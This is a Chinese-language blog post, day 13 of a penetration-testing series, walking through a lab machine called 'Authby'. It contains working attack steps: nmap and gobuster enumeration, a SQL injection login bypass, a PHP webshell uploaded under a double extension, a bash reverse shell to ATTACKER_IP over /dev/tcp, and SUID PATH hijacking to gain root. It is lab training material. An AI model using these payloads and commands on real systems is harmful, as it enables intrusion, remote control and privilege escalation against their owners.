iT邦幫忙

2025 iThome 鐵人賽

DAY 13
0

探測(Enumeration)

  • Nmap 掃描
nmap -sC -sV -oN nmap/authby 192.168.XXX.XXX

發現:

80/tcp → Apache HTTP Server,提供一個登入介面

22/tcp → OpenSSH(標準設定)

主要攻擊面為網站登入頁面與上傳功能。

網站列舉(Web Enumeration)

目錄暴力掃描

gobuster dir -u http://192.168.XXX.XXX -w /usr/share/wordlists/dirb/common.txt -x php,txt

找到的有趣路徑:

/login.php

/register.php

/dashboard.php

/config.php~(備份檔)

配置檔洩漏

/config.php~(備份檔)內含明文資料庫憑證,例如:

$DB_USER="authby";
$DB_PASS="authby123";

利用(Exploitation)— 驗證繞過 → RCE

嘗試預設或弱密碼失敗。

在登入表單上測試 SQL Injection:

' OR '1'='1' -- -

結果:成功繞過驗證,登入為 admin。

上傳取得命令執行

在登入後的介面發現檔案上傳功能(只允許 .jpg)。繞過方法:

使用雙副檔名上傳 shell.php.jpg。

上傳後的 webshell 可透過 GET 參數執行命令,例如:

http://192.168.XXX.XXX/uploads/shell.php.jpg?cmd=id

建立反向 shell(示例):

<?php system($_GET['cmd']); ?>

呼叫 URL 啟動反連回 shell:

/uploads/shell.php.jpg?cmd=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

提權(Privilege Escalation)

在取得初始殼後查詢:

id
whoami

→ 使用者為 www-data。

使用本機偵查工具(例如 linPEAS)發現:

存在一個 SUID 可執行檔:/usr/bin/authby(自定義二進位檔)。

對該二進位用 strings 檢查顯示它在執行某些外部命令,但沒有使用完整路徑(例如呼叫 cp 而非 /bin/cp)。

利用 PATH 劫持提權

步驟:

cd /tmp
echo '/bin/bash' > cp
chmod +x cp
export PATH=/tmp:$PATH
/usr/bin/authby

因為 authby 以 SUID 執行並呼叫 cp,當 PATH 被操控時,會跑 /tmp/cp(我們的惡意檔),進而取得 root shell。

取得 root flag

cat /root/root.txt

上一篇
Day 12. Algernon
下一篇
Day 14. Craft
系列文
滲透測試 30 天:從基礎到實戰17
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言